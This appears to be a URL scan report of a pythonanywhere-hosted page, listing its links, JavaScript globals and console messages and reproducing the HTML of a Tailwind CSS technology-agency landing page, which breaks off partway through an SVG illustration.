https://ab498.pythonanywhere.com/

Eingereichte URL:
https://ab498.pythonanywhere.com/
Bericht beendet:
LinkText
https://egoistdeveloper.github.io/twcss-to-sass-playground/ Convetert to SASS
https://unsplash.com/photos/8Pm_A-OHJGg Image Source
https://github.com/EgoistDeveloper/my-tailwind-components/blob/main/src/templates/parallax-landing-page.html Source Code
https://egoistdeveloper.github.io/my-tailwind-components/./src/templates/parallax-landing-page.html Full Preview

JavaScript-Variablen · 11 gefunden

NameTyp
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
tailwindobject
/template.htmlstring
usenumber
vstring
ffunction
Clientobject
getRandomIntInclusivefunction

Konsolenprotokoll-Meldungen · 2 gefunden

TypKategorieProtokoll
warningother
URL
https://cdn.tailwindcss.com/
Text
cdn.tailwindcss.com should not be used in production. To use Tailwind CSS in production, install it as a PostCSS plugin or use the Tailwind CLI: https://tailwindcss.com/docs/installation
errornetwork
URL
https://ab498.pythonanywhere.com/images/favicon.png
Text
Failed to load resource: the server responded with a status of 404 (NOT FOUND)

HTML

<!DOCTYPE html><html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>


    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">


    <!-- Webpage Title -->
    <title>SkillShare Webpage Title</title>

    <!-- Styles -->
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:ital,wght@0,400;0,600;0,700;1,400&amp;display=swap" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" rel="stylesheet" integrity="sha512-KfkfwYDsLkIlwQV1vtKRwtLz2V9W/D7cBnsPQcX68zh/IUogtPgKT9Bdu9EMWxd6ADKM3C+7HcTMSPDXcRVxXA==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdn.tailwindcss.com"></script>

    <link rel="icon" href="images/favicon.png">

<style>*, ::before, ::after{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }/* ! tailwindcss v3.4.15 | MIT License | https://tailwindcss.com */*,::after,::before{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}::after,::before{--tw-content:''}:host,html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,pre,samp{font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dd,dl,figure,h1,h2,h3,h4,h5,h6,hr,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}menu,ol,ul{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}[role=button],button{cursor:pointer}:disabled{cursor:default}audio,canvas,embed,iframe,img,object,svg,video{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.container{width:100%}@media (min-width: 640px){.container{max-width:640px}}@media (min-width: 768px){.container{max-width:768px}}@media (min-width: 1024px){.container{max-width:1024px}}@media (min-width: 1280px){.container{max-width:1280px}}@media (min-width: 1536px){.container{max-width:1536px}}.visible{visibility:visible}.fixed{position:fixed}.left-0{left:0px}.right-0{right:0px}.top-0{top:0px}.top-16{top:4rem}.z-10{z-index:10}.m-auto{margin:auto}.-mx-3{margin-left:-0.75rem;margin-right:-0.75rem}.mx-0{margin-left:0px;margin-right:0px}.mx-1{margin-left:0.25rem;margin-right:0.25rem}.mx-auto{margin-left:auto;margin-right:auto}.my-20{margin-top:5rem;margin-bottom:5rem}.my-3{margin-top:0.75rem;margin-bottom:0.75rem}.my-4{margin-top:1rem;margin-bottom:1rem}.mb-0{margin-bottom:0px}.mb-10{margin-bottom:2.5rem}.mb-12{margin-bottom:3rem}.mb-4{margin-bottom:1rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.mr-2{margin-right:0.5rem}.mt-0\.5{margin-top:0.125rem}.mt-2{margin-top:0.5rem}.mt-20{margin-top:5rem}.mt-3{margin-top:0.75rem}.mt-32{margin-top:8rem}.block{display:block}.flex{display:flex}.hidden{display:none}.h-10{height:2.5rem}.h-5{height:1.25rem}.h-\[500px\]{height:500px}.h-auto{height:auto}.w-1\/2{width:50%}.w-10{width:2.5rem}.w-5{width:1.25rem}.w-6{width:1.5rem}.w-full{width:100%}.max-w-6xl{max-width:72rem}.max-w-full{max-width:100%}.max-w-lg{max-width:32rem}.cursor-pointer{cursor:pointer}.flex-row{flex-direction:row}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-center{align-items:center}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.justify-items-start{justify-items:start}.space-x-5 > :not([hidden]) ~ :not([hidden]){--tw-space-x-reverse:0;margin-right:calc(1.25rem * var(--tw-space-x-reverse));margin-left:calc(1.25rem * calc(1 - var(--tw-space-x-reverse)))}.space-y-8 > :not([hidden]) ~ :not([hidden]){--tw-space-y-reverse:0;margin-top:calc(2rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(2rem * var(--tw-space-y-reverse))}.justify-self-end{justify-self:end}.rounded{border-radius:0.25rem}.rounded-full{border-radius:9999px}.border{border-width:1px}.border-t{border-top-width:1px}.border-solid{border-style:solid}.border-gray-500{--tw-border-opacity:1;border-color:rgb(107 114 128 / var(--tw-border-opacity, 1))}.border-slate-200{--tw-border-opacity:1;border-color:rgb(226 232 240 / var(--tw-border-opacity, 1))}.bg-blue-500{--tw-bg-opacity:1;background-color:rgb(59 130 246 / var(--tw-bg-opacity, 1))}.bg-gray-800{--tw-bg-opacity:1;background-color:rgb(31 41 55 / var(--tw-bg-opacity, 1))}.bg-white{--tw-bg-opacity:1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-white\/80{background-color:rgb(255 255 255 / 0.8)}.bg-cover{background-size:cover}.bg-fixed{background-attachment:fixed}.bg-center{background-position:center}.fill-current{fill:currentColor}.p-20{padding:5rem}.p-5{padding:1.25rem}.px-10{padding-left:2.5rem;padding-right:2.5rem}.px-3{padding-left:0.75rem;padding-right:0.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-8{padding-left:2rem;padding-right:2rem}.py-3{padding-top:0.75rem;padding-bottom:0.75rem}.py-4{padding-top:1rem;padding-bottom:1rem}.pb-20{padding-bottom:5rem}.pb-5{padding-bottom:1.25rem}.pt-10{padding-top:2.5rem}.pt-2{padding-top:0.5rem}.pt-5{padding-top:1.25rem}.text-left{text-align:left}.text-center{text-align:center}.align-middle{vertical-align:middle}.font-sans{font-family:ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-5xl{font-size:3rem;line-height:1}.text-sm{font-size:0.875rem;line-height:1.25rem}.text-xs{font-size:0.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.tracking-wide{letter-spacing:0.025em}.text-\[\#6c63ff\]{--tw-text-opacity:1;color:rgb(108 99 255 / var(--tw-text-opacity, 1))}.text-blue-500{--tw-text-opacity:1;color:rgb(59 130 246 / var(--tw-text-opacity, 1))}.text-blue-600{--tw-text-opacity:1;color:rgb(37 99 235 / var(--tw-text-opacity, 1))}.text-gray-300{--tw-text-opacity:1;color:rgb(209 213 219 / var(--tw-text-opacity, 1))}.text-gray-400{--tw-text-opacity:1;color:rgb(156 163 175 / var(--tw-text-opacity, 1))}.text-gray-600{--tw-text-opacity:1;color:rgb(75 85 99 / var(--tw-text-opacity, 1))}.text-gray-800{--tw-text-opacity:1;color:rgb(31 41 55 / var(--tw-text-opacity, 1))}.text-slate-400{--tw-text-opacity:1;color:rgb(148 163 184 / var(--tw-text-opacity, 1))}.text-slate-500{--tw-text-opacity:1;color:rgb(100 116 139 / var(--tw-text-opacity, 1))}.text-white{--tw-text-opacity:1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.text-white\/90{color:rgb(255 255 255 / 0.9)}.shadow-md{--tw-shadow:0 4px 6px -1px rgb(0 0 0 / 0.1), 0 2px 4px -2px rgb(0 0 0 / 0.1);--tw-shadow-colored:0 4px 6px -1px var(--tw-shadow-color), 0 2px 4px -2px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000), var(--tw-ring-shadow, 0 0 #0000), var(--tw-shadow)}.backdrop-blur-md{--tw-backdrop-blur:blur(12px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-colors{transition-property:color, background-color, border-color, fill, stroke, -webkit-text-decoration-color;transition-property:color, background-color, border-color, text-decoration-color, fill, stroke;transition-property:color, background-color, border-color, text-decoration-color, fill, stroke, -webkit-text-decoration-color;transition-timing-function:cubic-bezier(0.4, 0, 0.2, 1);transition-duration:150ms}.duration-300{transition-duration:300ms}.duration-700{transition-duration:700ms}.hover\:bg-gray-100:hover{--tw-bg-opacity:1;background-color:rgb(243 244 246 / var(--tw-bg-opacity, 1))}.hover\:text-blue-500:hover{--tw-text-opacity:1;color:rgb(59 130 246 / var(--tw-text-opacity, 1))}.hover\:text-gray-100:hover{--tw-text-opacity:1;color:rgb(243 244 246 / var(--tw-text-opacity, 1))}.hover\:text-white:hover{--tw-text-opacity:1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}@media (min-width: 640px){.sm\:mb-0{margin-bottom:0px}.sm\:mr-3{margin-right:0.75rem}.sm\:mt-10{margin-top:2.5rem}.sm\:inline-block{display:inline-block}.sm\:w-4\/12{width:33.333333%}.sm\:max-w-screen-sm{max-width:640px}}@media (min-width: 768px){.md\:flex{display:flex}.md\:hidden{display:none}.md\:w-3\/12{width:25%}.md\:max-w-screen-md{max-width:768px}.md\:flex-auto{flex:1 1 auto}.md\:flex-row{flex-direction:row}.md\:flex-row-reverse{flex-direction:row-reverse}.md\:justify-around{justify-content:space-around}.md\:justify-items-center{justify-items:center}.md\:space-x-8 > :not([hidden]) ~ :not([hidden]){--tw-space-x-reverse:0;margin-right:calc(2rem * var(--tw-space-x-reverse));margin-left:calc(2rem * calc(1 - var(--tw-space-x-reverse)))}.md\:border-t-0{border-top-width:0px}.md\:px-10{padding-left:2.5rem;padding-right:2.5rem}.md\:px-3{padding-left:0.75rem;padding-right:0.75rem}.md\:py-0{padding-top:0px;padding-bottom:0px}.md\:pt-2{padding-top:0.5rem}}@media (min-width: 1024px){.lg\:mx-0{margin-left:0px;margin-right:0px}.lg\:mb-0{margin-bottom:0px}.lg\:w-2\/5{width:40%}.lg\:w-3\/5{width:60%}.lg\:max-w-lg{max-width:32rem}.lg\:max-w-md{max-width:28rem}.lg\:max-w-screen-lg{max-width:1024px}.lg\:text-left{text-align:left}.lg\:text-5xl{font-size:3rem;line-height:1}}</style></head>

<body>

    <!-- component -->
    <!-- Gogole Fonts -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="">
    <link href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;1,100;1,200&amp;display=swap" rel="stylesheet">

    <style>
        section {
            font-family: "Poppins", sans-serif;
        }
    </style>

    <!-- Page Main -->
    <main class="flex flex-col items-center justify-center mt-32">
        <header class="container">
            <!-- Navbar -->
            <nav class="flex justify-between md:justify-around py-4 bg-white/80 backdrop-blur-md shadow-md w-full px-10 fixed top-0 left-0 right-0 z-10 px-8 md:px-3">
                <!-- Logo Container -->
                <div class="flex items-center">
                    <!-- Logo -->
                    <a class="cursor-pointer">
                        <h3 class="text-2xl font-medium text-blue-500">
                            <img class="h-10" src="https://stackoverflow.design/assets/img/logos/so/logo-stackoverflow.svg" alt="Store Logo">
                        </h3>
                    </a>
                </div>

                <!-- Links Section -->
                <div class="items-center md:space-x-8 justify-center justify-items-start md:justify-items-center md:flex md:pt-2 w-full left-0 top-16 px-5 md:px-10 py-3 md:py-0 border-t md:border-t-0">
                    <a class="flex text-gray-600 hover:text-blue-500 cursor-pointer transition-colors duration-300">
                        Home
                    </a>

                    <a class="flex text-gray-600 cursor-pointer transition-colors duration-300 font-semibold text-blue-600">
                        Themes
                    </a>

                    <a class="flex text-gray-600 hover:text-blue-500 cursor-pointer transition-colors duration-300">
                        Developers
                    </a>

                    <a class="flex text-gray-600 hover:text-blue-500 cursor-pointer transition-colors duration-300">
                        Pricing
                    </a>

                    <a class="flex text-gray-600 hover:text-blue-500 cursor-pointer transition-colors duration-300">
                        Blog
                    </a>

                    <a class="flex text-gray-600 hover:text-blue-500 cursor-pointer transition-colors duration-300">
                        About Us
                    </a>
                </div>

                <!-- Auth Links -->
                <div class="flex items-center space-x-5 hidden md:flex">
                    <!-- Register -->
                    <a class="flex text-gray-600 hover:text-blue-500 cursor-pointer transition-colors duration-300">
                        <svg class="fill-current h-5 w-5 mr-2 mt-0.5" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="24" height="24" viewBox="0 0 24 24">
                            <path d="M12 0L11.34 .03L15.15 3.84L16.5 2.5C19.75 4.07 22.09 7.24 22.45 11H23.95C23.44 4.84 18.29 0 12 0M12 4C10.07 4 8.5 5.57 8.5 7.5C8.5 9.43 10.07 11 12 11C13.93 11 15.5 9.43 15.5 7.5C15.5 5.57 13.93 4 12 4M12 6C12.83 6 13.5 6.67 13.5 7.5C13.5 8.33 12.83 9 12 9C11.17 9 10.5 8.33 10.5 7.5C10.5 6.67 11.17 6 12 6M.05 13C.56 19.16 5.71 24 12 24L12.66 23.97L8.85 20.16L7.5 21.5C4.25 19.94 1.91 16.76 1.55 13H.05M12 13C8.13 13 5 14.57 5 16.5V18H19V16.5C19 14.57 15.87 13 12 13M12 15C14.11 15 15.61 15.53 16.39 16H7.61C8.39 15.53 9.89 15 12 15Z"></path>
                        </svg>

                        Register
                    </a>

                    <!-- Login -->
                    <a class="flex text-gray-600 cursor-pointer transition-colors duration-300 font-semibold text-blue-600">
                        <svg class="fill-current h-5 w-5 mr-2 mt-0.5" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="24" height="24" viewBox="0 0 24 24">
                            <path d="M10,17V14H3V10H10V7L15,12L10,17M10,2H19A2,2 0 0,1 21,4V20A2,2 0 0,1 19,22H10A2,2 0 0,1 8,20V18H10V20H19V4H10V6H8V4A2,2 0 0,1 10,2Z"></path>
                        </svg>

                        Login
                    </a>
                </div>

                <!-- Hamberger Menu -->
                <button class="w-10 h-10 md:hidden justify-self-end rounded-full hover:bg-gray-100">
                    <svg class="mx-auto" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="24" height="24" viewBox="0 0 24 24">
                        <path d="M3,6H21V8H3V6M3,11H21V13H3V11M3,16H21V18H3V16Z"></path>
                    </svg>
                </button>
            </nav>
        </header>

        <!-- Hero -->
        <section class="flex flex-wrap items-center -mx-3 font-sans px-4 mx-auto w-full lg:max-w-screen-lg sm:max-w-screen-sm md:max-w-screen-md pb-20">
            <!-- Column-1 -->
            <div class="px-3 w-full lg:w-2/5">
                <div class="mx-auto mb-8 max-w-lg text-center lg:mx-0 lg:max-w-md lg:text-left">
                    <h2 class="mb-4 text-3xl font-bold text-left lg:text-5xl">
                        Exclusive Agency For

                        <span class="text-5xl text-blue-500 leading-relaxeds">Technology
                        </span>

                        Provide Solution
                    </h2>

                    <p class="visible mx-0 mt-3 mb-0 text-sm leading-relaxed text-left text-slate-400">
                        Helping you maximize operations management with digitization
                    </p>
                </div>

                <div class="text-center lg:text-left">
                    <a class="block visible py-4 px-8 mb-4 text-xs font-semibold tracking-wide leading-none text-white bg-blue-500 rounded cursor-pointer sm:mr-3 sm:mb-0 sm:inline-block">Key
                        Features</a>

                    <a class="block visible py-4 px-8 text-xs font-semibold leading-none bg-white rounded border border-solid cursor-pointer sm:inline-block border-slate-200 text-slate-500">How
                        We Work?</a>
                </div>
            </div>

            <!-- Column-2 -->
            <div class="px-3 mb-12 w-full lg:mb-0 lg:w-3/5">
                <!-- Illustrations Container -->
                <div class="flex justify-center items-center">
                    <svg class="block max-w-full h-auto align-middle lg:max-w-lg" xmlns="http://www.w3.org/2000/svg" height="400" viewBox="0 0 524.67004 627.58314" xmlns:xlink="http://www.w3.org/1999/xlink">
                        <path d="M369.04619,148.0378h51.762v17.04364c0,28.5682-23.19375,51.76195-51.76195,51.76195h-.00005v-68.80558h0Z" transform="translate(789.85437 364.88118) rotate(-180)" fill="#2f2e41"></path>
                        <polygon points="409.33502 185.02664 418.23482 225.05637 366.08305 216.39672 387.33502 178.53845 409.33502 185.02664" fill="#a0616a"></polygon>
                        <polygon points="409.33502 185.02664 418.23482 225.05637 366.08305 216.39672 387.33502 178.53845 409.33502 185.02664" opacity=".1"></polygon>
                        <rect x="359.33502" y="270.53845" width="50" height="74" transform="translate(768.67004 615.07691) rotate(-180)" fill="#a0616a"></rect>
                        <path d="M441.83502,405.03845l-11,59s7,41-14,83l-14,43-21-3s13-32,13-46c0-14,3-68,3-68l-1.5-61.61811,45.5-6.38189Z" fill="#2f2e41"></path>
                        <path d="M378.83502,586.03845s24-9,26,4l-1,6s9,27-4,29c-13,2-25,5-26-1-1-6-.98425-13.48966,1.50787-18.74483,2.49213-5.25517,3.49213-19.25517,3.49213-19.25517Z" fill="#2f2e41"></path>
                        <g>
                            <path d="M366.13446,395.88629l-5.84242,59.73162s-18.12633,37.43576-9.63539,83.61913l1.48898,45.19716,21.00587,2.95865s-3.58764-34.353,.30589-47.80069c3.89353-13.44769,16.0298-66.15169,16.0298-66.15169l18.5774-58.77007-41.93013-18.7841Z" fill="#2f2e41"></path>
                            <path d="M376.31126,587.26662s-20.5502-15.31957-26.08672-3.38865l-.70811,6.04141s-16.1539,23.43185-4.22298,28.96837c11.93092,5.53652,22.62319,11.75548,25.25239,6.2703,2.62921-5.48519,4.69702-12.68375,3.76473-18.42469-.9323-5.74094,2.00069-19.46674,2.00069-19.46674Z" fill="#2f2e41"></path>
                        </g>
                        <path d="M429.83502,310.53845c23.51917,21.94757,25.26404,56.67346,11.5,98,0,0-44,30-76-8l-16-77,80.5-13Z" fill="#2f2e41"></path>
                        <path d="M390.33502,203.53845l25,4-2,63,28,56-36,18s-28-53-33-86c-5-33-2-57-2-57l20,2Z" fill="#6c63ff"></path>
                        <path d="M371.33502,205.53845l-25,4,2,63-6,58,14,16s28-53,33-86,2-57,2-57l-20,2Z" fill="#6c63ff"></path>
                        <path d="M401.33502,207.03845l5.5-1.5s19.5-2.5,22.5,5.5c3,8,2,55,2,55,0,0,5.16,57.68504-14.92,58.34252-20.08,.65748-16.08-47.34252-16.08-47.34252l1-70Z" fill="#6c63ff"></path>
                        <circle cx="400.60838" cy="170.13134" r="25.881" fill="#a0616a"></circle>
                        <path d="M368.33502,209.03845l-5.5-1.5s-19.5-2.5-22.5,5.5-2,55-2,55c0,0-5.16,57.68504,14.92,58.34252s16.08-47.34252,16.08-47.34252l-1-70Z" fill="#6c63ff"></path>
                        <path d="M385.65786,205.75047c-5.55216-1.40863-11.84681,4.52132-14.06128,13.24853-.93243,3.47409-1.01931,7.12088-.2534,10.63535l-2.38571,9.92043-.17551-.00924-18.81824,44.34887c-4.37547,10.31165-3.91314,22.14968,1.66767,31.86201,3.3199,5.77765,7.67792,9.66177,12.79497,5.69682,8.49085-6.57912,14.03686-44.24916,16.56905-65.88826l5.85496-21.9959c2.35018-2.72464,4.01347-5.97257,4.85067-9.47191,2.2149-8.72385-.49107-16.93801-6.04318-18.34671Z" fill="#a0616a"></path>
                        <path d="M351.0597,191.06934c1.31647-4.00284,3.91522-7.50723,5.07796-11.55742,1.54386-5.37763,4.83076,6.55243,5.15143,.96678,.60951-10.61668,16.81288-37.92626,26.06316-43.17205,9.25028-5.24583,14.56315-3.66417,23.98727,1.26249,0,0,4.57463,.29093,10.26981,3.10267,5.69518,2.81174,10.82161,7.31486,13.03674,13.26749,1.7558,4.7183,1.56147,9.89986,2.14813,14.89992,1.63436,13.92994,9.44292,27.17801,7.76691,41.10298-.52286,4.3445-2.17418,8.83707-5.72639,11.39244-3.55221,2.55534-9.29104,2.27736-11.62924-1.42142-.79788-1.26218-1.13531-2.75965-1.81906-4.08713-.6838-1.32748-1.91931-2.56501-3.41201-2.5237-2.2436,.06211-3.38562,3.07261-2.5009,5.13537s2.96377,3.30817,4.91583,4.41597c-4.6491,2.0915-10.41629,1.44022-14.48185-1.63548-4.06552-3.0757-6.26097-8.44832-5.51283-13.49099,1.05424-7.10612,11.4065-5.63531,12.62603-12.71492,.88773-5.15371,4.00542-13.77714,3.15622-18.93732-.8492-5.16022-4.92762,1.08784-.63124-1.89373-4.72678,2.27867-14.83731-13.30983-19.78567-15.05584-4.94831-1.74601-9.14394-5.5267-11.39402-10.26715-5.24845,7.60821-9.86523,5.54211-11.7449,14.59185-1.87967,9.04974-.14171,29.60975,7.598,34.66228-3.09743,2.11334-5.56661,5.13552-7.01993,8.59211-.82334,1.95819-1.35711,4.10081-2.72366,5.72716-2.60993,3.10617-7.4291,3.29511-11.27027,1.98909-4.76288-1.61941-8.83514-5.17625-11.08048-9.67806-2.24534-4.50181-2.63675-9.89451-1.06507-14.67338Z" fill="#2f2e41"></path>
                        <path d="M0,626.13577c0,.66003,.53003,1.19,1.19006,1.19H523.48004c.65997,0,1.19-.52997,1.19-1.19,0-.65997-.53003-1.19-1.19-1.19H1.19006c-.66003,0-1.19006,.53003-1.19006,1.19Z" fill="#3f3d56"></path>
                        <g>
                            <path d="M340.03771,.99983H134.36885c-23.32296,0-42.22995,18.90699-42.22995,42.22995V583.66267c0,23.32291,18.90695,42.22986,42.22986,42.22986h205.66894c23.32296,0,42.22995-18.90699,42.22995-42.22995V43.22978c0-23.32296-18.90699-42.22995-42.22995-42.22995Z" fill="#fff"></path>
                            <path d="M340.03782,626.89209H134.36888c-23.83691,0-43.22998-19.39258-43.22998-43.22949V43.22998C91.1389,19.39307,110.53196,0,134.36888,0h205.66895c23.83691,0,43.22998,19.39307,43.22998,43.22998V583.6626c0,23.83691-19.39307,43.22949-43.22998,43.22949ZM134.36888,2c-22.73438,0-41.22998,18.49561-41.22998,41.22998V583.6626c0,22.73438,18.49561,41.22949,41.22998,41.22949h205.66895c22.73438,0,41.22998-18.49512,41.22998-41.22949V43.22998c0-22.73438-18.49561-41.22998-41.22998-41.22998H134.36888Z" fill="#3f3d56"></path>
                            <path d="M75.14368,94.56643c-1.80561,0-3.27392,1.46831-3.27392,3.27392v26.1914c0,1.80561,1.46831,3.27392,3.27392,3.27392s3.27392-1.46831,3.27392-3.27392v-26.1914c0-1.80561-1.46831-3.27392-3.27392-3.27392Z" fill="#3f3d56"></path>
                            <path d="M354.93558,87.46124h-82.66786c-3.50634,0-6.35907-2.85273-6.35907-6.35907s2.85273-6.35907,6.35907-6.35907h82.66786c3.50634,0,6.35907,2.85273,6.35907,6.35907s-2.85273,6.35907-6.35907,6.35907Z" fill="#e6e6e6"></path>
                            <path d="M277.38221,137.46854h-80.3571c-2.02587,0-3.67427-1.64841-3.67427-3.67428s1.64841-3.67351,3.67427-3.67351h80.3571c2.02587,0,3.67351,1.64765,3.67351,3.67351,0,2.02587-1.64764,3.67427-3.67351,3.67427Z" fill="#6c63ff"></path>
                            <ellipse cx="78.32235" cy="92.07002" rx="64.899" ry="63.53157" fill="#6c63ff"></ellipse>
                            <path d="M100.34912,60.02429c-8.64008,15.73267-17.28021,31.46545-25.92029,47.19818-5.50665-9.72955-10.98322-19.47626-16.50342-29.19818-1.90643-3.3576-7.09204-.33765-5.18079,3.02832,6.39911,11.2699,12.73193,22.57727,19.13104,33.84717,1.09412,1.92694,4.09796,1.97168,5.18085,0,9.49115-17.28241,18.9823-34.56482,28.47345-51.84717,1.8598-3.38647-3.31964-6.41742-5.18085-3.02832Z" fill="#fff"></path>
                            <rect x="117.61763" y="14.65784" width="46.49807" height="5.96129" rx=".31021" ry=".31021" fill="#e6e6e6"></rect>
                            <circle cx="318.33631" cy="15.8501" r="4.76903" fill="#e6e6e6"></circle>
                            <circle cx="331.45115" cy="15.8501" r="4.76903" fill="#e6e6e6"></circle>
                            <circle cx="344.56599" cy="15.8501" r="4.76903" fill="#e6e6e6"></circle>
                            <path d="M133.86826,157.13577c0,.66003,.53003,1.19,1.19006,1.19h204.28998c.65997,0,1.19-.52997,1.19-1.19,0-.65997-.53003-1.19-1.19-1.19H135.05832c-.66003,0-1.19006,.53003-1.19006,1.19Z" fill="#3f3d56"></path>
                            <g>
